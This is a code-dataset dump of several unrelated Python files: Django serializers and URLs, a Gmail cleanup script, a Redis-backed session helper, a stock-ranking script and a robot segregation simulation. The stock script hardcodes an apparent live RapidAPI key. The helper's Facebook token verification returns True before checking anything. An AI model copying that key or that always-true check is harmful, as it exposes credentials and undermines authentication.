'category',\n 'about_event',\n 'end_time',\n 'event_name',\n 'event_image',\n 'selected_address',\n 'start_time',\n 'start_date',\n 'location',\n 'user'\n )\n\nUserModel = get_user_model()\nclass UserCreateSerializer(serializers.ModelSerializer):\n password = serializers.CharField(write_only=True)\n def create(self, validated_data):\n user = UserModel.objects.create(\n username=validated_data['username']\n )\n user.set_password(validated_data['password'])\n user.save()\n\n return user\n\n class Meta:\n model = UserModel\n # Tuple of serialized model fields (see link [2])\n fields = ( \"id\", \"username\", \"password\", )\n\nclass CreateConnectionSerializer(serializers.ModelSerializer):\n class Meta:\n model = Connection\n fields = [\n 'user',\n 'invited_id',\n 'created_by'\n ]\nclass AdgendaSerializer(serializers.ModelSerializer):\n class Meta:\n model = Adgenda\n fields = [\n 'id',\n 'title',\n 'address',\n 'notes',\n 'start_date',\n 'start_time'\n ]\nclass MarketPlaceSerializer(serializers.ModelSerializer):\n class Meta:\n model = MarketPlace\n fields = [\n 'id',\n 'item_name',\n 'price',\n 'qty',\n 'desc'\n ]\n\nclass UploadFileSerializer(serializers.ModelSerializer):\n picture = serializers.ImageField(max_length=None, use_url=True)\n class Meta:\n model = MarketPlace\n fields = (\n 'user',\n 'picture'\n ) \nclass ImageSerializer(serializers.ModelSerializer):\n class Meta:\n model = UploadIMG\n fields = (\n 'pk',\n 'picture'\n )", "sub_path": "myapp/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 3838, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.contrib.auth.models.User", "line_number": 10, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 10, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 13, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 13, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User", "line_number": 17, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 22, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 22, "usage_type": "name"}, {"api_name": "models.UserProfile", "line_number": 25, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 46, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 46, "usage_type": "name"}, {"api_name": "models.Event", "line_number": 48, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 62, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 62, "usage_type": "name"}, {"api_name": "models.UserProfile", "line_number": 64, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 71, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 71, "usage_type": "name"}, {"api_name": "models.Event", "line_number": 73, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 88, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 89, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 89, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 90, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 90, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 105, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 105, "usage_type": "name"}, {"api_name": "models.Connection", "line_number": 107, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 113, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 113, "usage_type": "name"}, {"api_name": "models.Adgenda", "line_number": 115, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 124, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 124, "usage_type": "name"}, {"api_name": "models.MarketPlace", "line_number": 126, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 135, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 135, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ImageField", "line_number": 136, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 136, "usage_type": "name"}, {"api_name": "models.MarketPlace", "line_number": 138, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 143, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 143, "usage_type": "name"}, {"api_name": "models.UploadIMG", "line_number": 145, "usage_type": "name"}]} {"seq_id": "195198303", "text": "#! /usr/bin/env python3\n\nimport gmail_bot_functions as gb\nimport sys, time, traceback, logging, coloredlogs, os\n\n# Sample command:\n# python3 remove_older_than.py JobApp 3\n\n\n\ndef execute(args):\n try:\n logging.info(\"INIT PROCESS\"); time.sleep(2)\n #Check args\n if(len(args) > 1):\n labelname = args[0]\n month = args[1]\n else:\n logging.error(\"not enough args\")\n sys.exit()\n #Authenticate to your gmail address\n service = gb.auth_service_to(\"averneus\")\n\n\n logging.info(\"GET DATA\"); time.sleep(2)\n ## get mails with given Label\n label_ids = gb.get_id_for_labelname(service, labelname)\n label_mailids = gb.list_messages_with_label(service, \"me\", label_ids=[label_ids])\n\n ## Get mail info from Ids\n mailBox = gb.mailBox_retriever(service, label_mailids, verbose=True)\n\n logging.info(\"PROCESS DATA\"); time.sleep(2)\n ## get labeled mails before given Date Threshold\n fms = gb.find_mailids_below_threshold(mailBox, month=int(month), verbose=False)\n if(fms == []):\n logging.warning(\"No mails found to trash\")\n elif(fms != [] and type(fms) == list):\n ## trash mails older than Threshold\n logging.info(\"Trying to delete mail\")\n for mail in fms:\n gb.trash_message(service, mail[\"id\"])\n logging.debug('Gone - {}'.format(mail[\"snippet\"]))\n else:\n logging.warning(\"Something is wrong with fms variable: go check trash_message\")\n except Exception as e:\n logging.error(e)\n exc_info = sys.exc_info()\n # Display the *original* exception\n traceback.print_exception(*exc_info)\n del exc_info\n\n\n\nif __name__ == \"__main__\":\n logging.info(\"remove_older_than.py\")\n os.chdir(\"/home/uad/apps/gmail-organizer/\")\n execute(sys.argv[1:])\n", "sub_path": "src/remove_older_than.py", "file_name": "remove_older_than.py", "file_ext": "py", "file_size_in_byte": 1903, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.info", "line_number": 13, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 19, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 20, "usage_type": "call"}, {"api_name": "gmail_bot_functions.auth_service_to", "line_number": 22, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 25, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 25, "usage_type": "call"}, {"api_name": "gmail_bot_functions.get_id_for_labelname", "line_number": 27, "usage_type": "call"}, {"api_name": "gmail_bot_functions.list_messages_with_label", "line_number": 28, "usage_type": "call"}, {"api_name": "gmail_bot_functions.mailBox_retriever", "line_number": 31, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 33, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 33, "usage_type": "call"}, {"api_name": "gmail_bot_functions.find_mailids_below_threshold", "line_number": 35, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 37, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 40, "usage_type": "call"}, {"api_name": "gmail_bot_functions.trash_message", "line_number": 42, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 43, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 45, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 47, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 48, "usage_type": "call"}, {"api_name": "traceback.print_exception", "line_number": 50, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 56, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 57, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 58, "usage_type": "attribute"}]} {"seq_id": "437239240", "text": "import aiohttp\nfrom application.config import Config\nfrom application.server import app\nfrom gatco.response import json\nimport hashlib, binascii\nfrom gatco_restapi.helpers import to_dict\nfrom application.extensions import auth\nfrom application.database import db, redisdb\nfrom application.models.models import *\nimport random, string\n\n\n\ndef get_makehoach_new():\n makehoach = redisdb.spop(\"makehoach\")\n if makehoach is None:\n generate_key(1000)\n makehoach = redisdb.spop(\"makehoach\")\n return makehoach\n \n \ndef generate_key(size):\n arr_prekey = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20'] \n for key in arr_prekey:\n data_key = 'prekey_makehoach_'+str(key)\n data_value = redisdb.get(data_key)\n \n if(data_value is not None):\n print(redisdb.smembers(\"prekey_makehoach_*\"))\n print('generate key is exited!, please send other key')\n print(redisdb.keys(\"prekey_makehoach_*\"))\n continue\n else:\n key_check = str(key)+'00000001'\n check_existed = db.session.query(KeHoachThanhTra).filter(KeHoachThanhTra.id == key_check).count()\n if(check_existed is not None and check_existed >0):\n continue\n redisdb.setnx(data_key, key)\n for x in range(0,size):\n value = key\n length = len(str(x))\n if length < 8:\n for i in range(0, (8-length)):\n value += str('0')\n elif length>8:\n return False\n value += str(x)\n redisdb.sadd('makehoach', value)\n \n# print(redisdb.smembers(\"user_key\"))\n total = redisdb.scard(\"makehoach\")\n print('total_'+str(total))\n# print(redisdb.spop( \"user_key\"))\n return False\n return False\n\n\n\nasync def get_user_with_permission(user):\n user_info = to_dict(user)\n roles = [{\"id\":str(role.id),\"description\":role.description,\"role_name\":role.name} for role in user.roles]\n roleids = [role.id for role in user.roles]\n print(\"roles====\",roles)\n user_info[\"roles\"] = roles\n \n #permission:\n# perms = Permission.query.filter(Permission.role_id.in_(roleids)).order_by(Permission.subject).all()\n# permobj = {}\n# \n# for perm in perms:\n# if perm.subject not in permobj:\n# permobj[perm.subject] = {}\n# \n# if perm.permission not in permobj[perm.subject]:\n# permobj[perm.subject][perm.permission] = perm.value\n# elif not permobj[perm.subject][perm.permission]:\n# permobj[perm.subject][perm.permission] = perm.value \n# user_info[\"permission\"] = permobj\n exclude_attr = [\"password\", \"created_at\", \"created_by\", \"updated_at\", \"updated_by\",\\\n \"deleted_by\", \"deleted_at\", \"deleted\",\"salt\",\"active\",\"phone_country_prefix\",\"phone_national_number\"]\n \n for attr in exclude_attr:\n if attr in user_info:\n del(user_info[attr])\n return user_info\n\ndef check_content_json(request):\n ret = False\n try:\n content_type = request.headers.get('Content-Type', \"\")\n ret = content_type.startswith('application/json')\n except:\n pass\n return ret\n\ndef valid_phone_number(phone_number):\n if phone_number is None:\n return False\n if phone_number.isdigit() and len(phone_number)>=8 and len(phone_number)<=12 and phone_number.startswith(\"0\"):\n return True\n return False\n\n\nasync def current_user(request):\n uid = auth.current_user(request)\n if uid is not None:\n user_info = db.session.query(User).filter(User.id == uid).first()\n return user_info\n else:\n return None\n\ndef auth_func(request=None, **kw):\n user = auth.current_user(request)\n if user is None:\n return json({\"error_code\":\"SESSION_EXPIRED\",\"error_message\":\"auth_func can not found uid\"},status=520)\n \ndef deny_func(request=None, **kw):\n return json({\"error_code\":\"PERMISSION_DENY\",\"error_message\":\"permission deny\"},status=520)\n \nasync def hasRole(request, role):\n currentUser = await current_user(request)\n if currentUser is not None:\n return currentUser.has_role(role)\n else: \n return False;\n\n\ndef current_uid(request):\n user_token = request.headers.get(\"X-USER-TOKEN\", request.args.get(\"access_token\", None))\n if user_token is None:\n return None\n uid = redisdb.get(\"sessions:\" + user_token)\n if uid is not None:\n return uid.decode('utf8')\n\n return None\n\n\ndef generate_user_token(uid, expired_time=None):\n token = binascii.hexlify(uuid.uuid4().bytes).decode()\n if expired_time is None:\n expired_time = app.config.get('SESSION_EXPIRE_TIME', 86400)\n p = redisdb.pipeline()\n p.set(\"sessions:\" + token, str(uid))\n p.expire(\"sessions:\" + token, expired_time)\n p.execute()\n return token\n\ndef generator_salt():\n data = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(24))\n return data\n\nasync def get_account_kit(account_kit_token=None):\n # check account kit using token\n url = app.config.get(\"ACCOUNT_KIT_URL\") + \"/v1.3/me/\"\n# account_kit_secret = app.config.get(\"FACEBOOK_ACCOUNT_KIT_SECRET\")\n# dk = hashlib.pbkdf2_hmac('sha256', bytes(account_kit_token,'utf-8'), bytes(account_kit_secret,'utf-8'), 100000) \n# appsecret_proof = binascii.hexlify(dk)\n params = {\n 'access_token': account_kit_token\n }\n async with aiohttp.ClientSession() as session:\n async with session.get(url, params=params) as response:\n print(\"get_account_kit.response===\",response)\n if response.status == 200:\n resp = await response.json()\n print(\"====resp=====\",resp)\n return resp\n return None\n\nasync def verify_account_kit(account_kit_token=None, data={}):\n # check account kit using token\n url = app.config.get(\"ACCOUNT_KIT_URL\") + \"/v1.3/me/\"\n params = {\n 'access_token': account_kit_token\n }\n async with aiohttp.ClientSession() as session:\n async with session.get(url, params=params) as response:\n if response.status == 200:\n resp = await response.json()\n if 'phone' in resp:\n phone = resp['phone']\n if (data[\"phone_number\"] == phone['number']) or (data[\"phone_national_number\"] == phone['national_number']):\n data[\"phone_number\"] = phone['number']\n data[\"phone_country_prefix\"] = phone['country_prefix']\n data[\"phone_national_number\"] = phone['national_number']\n return True\n return False\n\n\nasync def verify_facebook_token(access_token=None, facebook_id=None):\n # check facebook using token\n return True\n\n if (facebook_id is None) or (access_token is None):\n return False\n\n url = app.config.get(\"FACEBOOK_GRAPH_URL\") + \"/me\"\n params = {\n \"fields\": \"id,name\",\n 'access_token': access_token\n }\n async with aiohttp.ClientSession() as session:\n async with session.get(url, params=params) as response:\n if response.status == 200:\n resp = await response.json()\n if 'id' in resp:\n if resp['id'] == facebook_id:\n return True\n return False", "sub_path": "application/controllers/helper.py", "file_name": "helper.py", "file_ext": "py", "file_size_in_byte": 7458, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "application.database.redisdb.spop", "line_number": 15, "usage_type": "call"}, {"api_name": "application.database.redisdb", "line_number": 15, "usage_type": "name"}, {"api_name": "application.database.redisdb.spop", "line_number": 18, "usage_type": "call"}, {"api_name": "application.database.redisdb", "line_number": 18, "usage_type": "name"}, {"api_name": "application.database.redisdb.get", "line_number": 26, "usage_type": "call"}, {"api_name": "application.database.redisdb", "line_number": 26, "usage_type": "name"}, {"api_name": "application.database.redisdb.smembers", "line_number": 29, "usage_type": "call"}, {"api_name": "application.database.redisdb", "line_number": 29, "usage_type": "name"}, {"api_name": "application.database.redisdb.keys", "line_number": 31, "usage_type": "call"}, {"api_name": "application.database.redisdb", "line_number": 31, "usage_type": "name"}, {"api_name": "application.database.db.session.query", "line_number": 35, "usage_type": "call"}, {"api_name": "application.database.db.session", "line_number": 35, "usage_type": "attribute"}, {"api_name": "application.database.db", "line_number": 35, "usage_type": "name"}, {"api_name": "application.database.redisdb.setnx", "line_number": 38, "usage_type": "call"}, {"api_name": "application.database.redisdb", "line_number": 38, "usage_type": "name"}, {"api_name": "application.database.redisdb.sadd", "line_number": 48, "usage_type": "call"}, {"api_name": "application.database.redisdb", "line_number": 48, "usage_type": "name"}, {"api_name": "application.database.redisdb.scard", "line_number": 51, "usage_type": "call"}, {"api_name": "application.database.redisdb", "line_number": 51, "usage_type": "name"}, {"api_name": "gatco_restapi.helpers.to_dict", "line_number": 60, "usage_type": "call"}, {"api_name": "application.extensions.auth.current_user", "line_number": 105, "usage_type": "call"}, {"api_name": "application.extensions.auth", "line_number": 105, "usage_type": "name"}, {"api_name": "application.database.db.session.query", "line_number": 107, "usage_type": "call"}, {"api_name": "application.database.db.session", "line_number": 107, "usage_type": "attribute"}, {"api_name": "application.database.db", "line_number": 107, "usage_type": "name"}, {"api_name": "application.extensions.auth.current_user", "line_number": 113, "usage_type": "call"}, {"api_name": "application.extensions.auth", "line_number": 113, "usage_type": "name"}, {"api_name": "gatco.response.json", "line_number": 115, "usage_type": "call"}, {"api_name": "gatco.response.json", "line_number": 118, "usage_type": "call"}, {"api_name": "application.database.redisdb.get", "line_number": 132, "usage_type": "call"}, {"api_name": "application.database.redisdb", "line_number": 132, "usage_type": "name"}, {"api_name": "binascii.hexlify", "line_number": 140, "usage_type": "call"}, {"api_name": "application.server.app.config.get", "line_number": 142, "usage_type": "call"}, {"api_name": "application.server.app.config", "line_number": 142, "usage_type": "attribute"}, {"api_name": "application.server.app", "line_number": 142, "usage_type": "name"}, {"api_name": "application.database.redisdb.pipeline", "line_number": 143, "usage_type": "call"}, {"api_name": "application.database.redisdb", "line_number": 143, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 150, "usage_type": "call"}, {"api_name": "string.ascii_lowercase", "line_number": 150, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 150, "usage_type": "attribute"}, {"api_name": "application.server.app.config.get", "line_number": 155, "usage_type": "call"}, {"api_name": "application.server.app.config", "line_number": 155, "usage_type": "attribute"}, {"api_name": "application.server.app", "line_number": 155, "usage_type": "name"}, {"api_name": "aiohttp.ClientSession", "line_number": 162, "usage_type": "call"}, {"api_name": "application.server.app.config.get", "line_number": 173, "usage_type": "call"}, {"api_name": "application.server.app.config", "line_number": 173, "usage_type": "attribute"}, {"api_name": "application.server.app", "line_number": 173, "usage_type": "name"}, {"api_name": "aiohttp.ClientSession", "line_number": 177, "usage_type": "call"}, {"api_name": "application.server.app.config.get", "line_number": 198, "usage_type": "call"}, {"api_name": "application.server.app.config", "line_number": 198, "usage_type": "attribute"}, {"api_name": "application.server.app", "line_number": 198, "usage_type": "name"}, {"api_name": "aiohttp.ClientSession", "line_number": 203, "usage_type": "call"}]} {"seq_id": "61357570", "text": "import requests\n\ndef get_watchlist_data(watch_list):\n import requests\n\n url = \"https://apidojo-yahoo-finance-v1.p.rapidapi.com/market/get-watchlist-detail\"\n\n querystring = {\"userId\":\"X3NJ2A7VDSABUI4URBWME2PZNM\",\"pfId\":watch_list}\n\n headers = {\n 'x-rapidapi-key': \"fbf7be51famsh81db55c838a3d9ap179540jsn1ce7839c393c\",\n 'x-rapidapi-host': \"apidojo-yahoo-finance-v1.p.rapidapi.com\"\n }\n\n response = requests.request(\"GET\", url, headers=headers, params=querystring)\n\n return response.json()['finance']['result'][0]['quotes']\n\n\ndef get_stock_data_list(symbol):\n url = \"https://apidojo-yahoo-finance-v1.p.rapidapi.com/stock/v3/get-historical-data\"\n\n querystring = {\"symbol\": symbol, \"region\": \"US\"}\n\n headers = {\n 'x-rapidapi-key': \"fbf7be51famsh81db55c838a3d9ap179540jsn1ce7839c393c\",\n 'x-rapidapi-host': \"apidojo-yahoo-finance-v1.p.rapidapi.com\"\n }\n\n response = requests.request(\"GET\", url, headers=headers, params=querystring)\n data_list = response.json()['prices']\n return data_list\n\ndef get_price_list(data_list, count):\n price_list = list()\n # print(len(data_list))\n for data in data_list:\n if (count == 0):\n break\n # print(data)\n try:\n # print('count = ' + str(50 - count) + '| ' + str(data['close']))\n price_list.append(data['close'])\n except:\n continue\n count = count - 1\n return price_list\n\ndef get_price_back_to(price_list, n):\n return price_list[n]\n\ndef get_EM_n_on_the_day(price_list, n, the_day):\n sum = 0\n for i in range(n):\n sum = sum + price_list[the_day + i]\n return sum / n\n\ndef get_EM_n_line_for_previous_days(price_list, n, days):\n lst = list()\n for i in range(days):\n em = get_EM_n_on_the_day(price_list, n, i)\n lst.append(em)\n return lst\n\ndef get_weighted_EM_slope_for_one_line(line):\n import math\n sum = 0\n for i in range(len(line) - 1):\n weight = math.exp(len(line) - 1 - i)\n sum = sum + ((line[i] - line[i + 1]) / line[i + 1]) * weight\n return sum\n\ndef get_weighted_EM_slope_for_all_lines(line_0, line_1, line_2):\n import math\n s0 = get_weighted_EM_slope_for_one_line(line_0)\n s1 = get_weighted_EM_slope_for_one_line(line_1)\n s2 = get_weighted_EM_slope_for_one_line(line_2)\n return math.exp(2) * s0 + math.exp(1) * s1 + math.exp(0) * s2\n\ndef dispersion_on_the_day(a, b, c):\n dispersion_sum = (abs(a - b) / min(a, b) + abs(b - c) / min(b, c) + abs(a - c) / min(a, c))\n return dispersion_sum\n\ndef dispersion_for_previous_days(line_0, line_1, line_2, days):\n sum = 0\n for i in range(days):\n # print(str(line_0[i]) + ' | ' + str(line_1[i]) + ' | ' + str(line_2[i]))\n dispersion = dispersion_on_the_day(line_0[i], line_1[i], line_2[i])\n sum = sum + dispersion\n # print('dispersion = ' + str(dispersion))\n # print()\n return sum\n\ndef sort_value_for_dict(dict, reverse):\n return {k: v for k, v in sorted(dict.items(), key=lambda item: item[1], reverse = reverse)}\n\ndef check_increasing_for_line(line):\n for i in range(len(line) - 1):\n if (line[i] < line[i + 1]):\n return False\n return True\n\ndef get_EM_lines(continuous_days, symbol):\n data_list = get_stock_data_list(symbol)\n if (len(data_list) < 50):\n print('Length is small!')\n return None\n price_list = get_price_list(data_list, 50)\n\n\n em_3_line = get_EM_n_line_for_previous_days(price_list, 3, continuous_days)\n if (check_increasing_for_line(em_3_line) == False):\n print('EM line is not increase!')\n return None\n em_10_line = get_EM_n_line_for_previous_days(price_list, 10, continuous_days)\n if (check_increasing_for_line(em_10_line) == False):\n print('EM line is not increase!')\n return None\n em_20_line = get_EM_n_line_for_previous_days(price_list, 20, continuous_days)\n if (check_increasing_for_line(em_20_line) == False):\n print('EM line is not increase!')\n return None\n return (em_3_line, em_10_line, em_20_line)\n\ndef my_main(continuous_days, lines):\n\n em_3_line = lines[0]\n em_10_line = lines[1]\n em_20_line = lines[2]\n\n dispersion_sum = dispersion_for_previous_days(em_3_line, em_10_line, em_20_line, continuous_days)\n print(dispersion_sum)\n slope_sum = get_weighted_EM_slope_for_all_lines(em_3_line, em_10_line, em_20_line)\n print('slope_sum = ' + str(slope_sum))\n return (slope_sum, dispersion_sum)\n\ndef read_file(file_name):\n f = open(file_name)\n lines = f.readlines()\n parsed_lines = []\n for line in lines:\n parsed_lines.append(str.strip(line))\n return parsed_lines\n\n\ndef get_final_scores(a, b):\n final_dict = {}\n length = len(a)\n count = length\n for symbol in a:\n if symbol not in final_dict:\n final_dict[symbol] = 0\n final_dict[symbol] = final_dict[symbol] + count * 1.1\n count = count - 1\n\n count = length\n for symbol in b:\n if symbol not in final_dict:\n final_dict[symbol] = 0\n final_dict[symbol] = final_dict[symbol] + count\n count = count - 1\n res = sort_value_for_dict(final_dict, True)\n print(res)\n return res\n\n# ---------------------------------------------------------\n # Main\n# ---------------------------------------------------------\n\n# read watchlist:\ndef parse_name(s):\n s = s.lower()\n s = s.replace(' ', '_')\n return s\nwatch_list = 'E_commerce Stocks'\n\nsymbols = get_watchlist_data(parse_name(watch_list))\n\n# read watchlist:\n# watch_list = 'stocks.txt'\n# symbols = read_file(watch_list)\n\n\nslope_dict = {}\ndispersion_dict = {}\ncount = len(symbols)\nfile = open(watch_list + '_analysis.txt', 'w')\n\n\nfor symbol in symbols:\n try:\n print('Symbols number left = ' + str(count))\n count = count - 1\n print(symbol)\n lines = get_EM_lines(3, symbol)\n if (lines == None):\n print('-----------------------------------------------')\n continue\n analysis = my_main(3, lines)\n\n slope_sum = analysis[0]\n slope_dict[symbol] = slope_sum\n\n dispersion = analysis[1]\n dispersion_dict[symbol] = dispersion\n print('-----------------------------------------------')\n except:\n continue\n\nslope_scores = sort_value_for_dict(slope_dict, True)\ndispersion_scores = sort_value_for_dict(dispersion_dict, False)\nprint(slope_scores)\nprint(dispersion_scores)\nfile.write('Increasing rate rank: ' + str(slope_scores) + '\\n')\nfile.write('EM lines dispersion rate rank: ' + str(dispersion_scores) + '\\n')\nfile.write('Final scores:' + '\\n')\nres = get_final_scores(slope_scores, dispersion_scores)\nfor a in res:\n file.write(str(a) + ': ' + str(res[a]) + '\\n')\n\n\n", "sub_path": "rankStocksForWatchlist.py", "file_name": "rankStocksForWatchlist.py", "file_ext": "py", "file_size_in_byte": 6801, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.request", "line_number": 15, "usage_type": "call"}, {"api_name": "requests.request", "line_number": 30, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 69, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 78, "usage_type": "call"}]} {"seq_id": "315989347", "text": "__author__ = 'patryk'\n\n\nfrom django.conf.urls import include, url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name=\"index\"),\n url(r'^users$', views.list_of_users, name=\"users\"),\n url(r'^urls$', views.list_of_urls, name=\"urls\"),\n url(r'^(?P[a-zA-Z\\d]+)/$', views.go_to_original_url, name=\"go_to_original_url\"),\n url(r'^!(?P[a-zA-Z\\d]+)/$', views.show_details, name=\"show\"),\n]\n", "sub_path": "urlshorter/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 434, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}]} {"seq_id": "407151692", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom segregation import Segregation\nfrom termcolor import colored\nimport progressbar\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.stats\nimport scipy as sp\nimport argparse\n\n\ndef mean_confidence_interval(data, confidence=0.95):\n a = 1.0*np.array(data)\n n = len(a)\n m, se = np.mean(a), scipy.stats.sem(a)\n h = se * sp.stats.t._ppf((1+confidence)/2., n-1)\n return m, m-h, m+h\n\n\n# Setup - Getting user arguments\nparser = argparse.ArgumentParser(description='Segregation using potential differential.')\nparser.add_argument('--robots', help='Total number of robots.', default=50, type=int)\nparser.add_argument('--groups', help='Total number of group of robots.', default=5, type=int)\nparser.add_argument('--iterations', help='Total number of iterations on the control.', default=200, type=int)\n# Reduce the steps if the robots are too shaky\nparser.add_argument('--behavior', help='Choice between cluster (default) and radial', default=\"cluster\", type=str)\nparser.add_argument('--steps', help='Time-step on the control.', default=0.08, type=int)\nparser.add_argument('--world', help='Size of the enviroment in meters', default=30, type=int)\nparser.add_argument('--alpha', help='Control gain. See the paper for more information.', default=1.0, type=float)\nparser.add_argument('--dAA', help='Same-type robot interaction factor. See the paper for more information.', default=2.0, type=float)\nparser.add_argument('--dAB', help='Differente-type robot interaction factor. See the paper for more information.', default=5.0, type=float)\nparser.add_argument('--noise_sensor', help='Add gaussian noise (max 1.0) on sensor model.', default=0.0, type=float)\nparser.add_argument('--noise_actuation', help='Add gaussian noise (max 1.0) on actuator model.', default=0.0, type=float)\nparser.add_argument('--sensing_radius', help='Limit the sensing radius.', default=100000000.0, type=float)\nparser.add_argument('--seed', help='Random seed.', default=0, type=int)\nargs = parser.parse_args()\n\n\nbar = progressbar.ProgressBar(maxval=args.iterations,\n widgets=[progressbar.Bar('=', '[', ']'), ' ', progressbar.Percentage()])\n\nprint(colored(\"[Starting numeric simulation...]\", 'green'))\n\n# Radial segregation (check dAA)\nif args.behavior == 'radial':\n\ts = Segregation(ROBOTS=args.robots, GROUPS=args.groups, WORLD=args.world, dt=args.steps, alpha=args.alpha, noise_sensor=args.noise_sensor, noise_actuation=args.noise_sensor, dAA=np.linspace(args.dAA, args.groups*args.dAA, args.groups), dAB=args.dAB, seed=args.seed, radius=args.sensing_radius, display_mode=True, which_metric='')\nelse:\n\t# Cluster segregation\n\ts = Segregation(ROBOTS=args.robots, GROUPS=args.groups, WORLD=args.world, dt=args.steps, alpha=args.alpha, noise_sensor=args.noise_sensor, noise_actuation=args.noise_sensor, dAA=np.array([args.dAA]), dAB=args.dAB, seed=args.seed, radius=args.sensing_radius, display_mode=True, which_metric='')\n\nbar.start()\nfor j in range(args.iterations):\n bar.update(j)\n s.update()\n s.display()\n\t# s.screenshot(\"log/image_{:06d}.png\".format(j))\n\n# s.screenshot(\"radial.png\")\nplt.close('all')\n\nprint(colored(\"[Finish]\", 'green'))\n", "sub_path": "src/start.py", "file_name": "start.py", "file_ext": "py", "file_size_in_byte": 3216, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 17, "usage_type": "call"}, {"api_name": "scipy.stats.stats.sem", "line_number": 17, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 17, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 17, "usage_type": "name"}, {"api_name": "scipy.stats.t._ppf", "line_number": 18, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 18, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 23, "usage_type": "call"}, {"api_name": "progressbar.ProgressBar", "line_number": 41, "usage_type": "call"}, {"api_name": "progressbar.Bar", "line_number": 42, "usage_type": "call"}, {"api_name": "progressbar.Percentage", "line_number": 42, "usage_type": "call"}, {"api_name": "termcolor.colored", "line_number": 44, "usage_type": "call"}, {"api_name": "segregation.Segregation", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 48, "usage_type": "call"}, {"api_name": "segregation.Segregation", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "termcolor.colored", "line_number": 63, "usage_type": 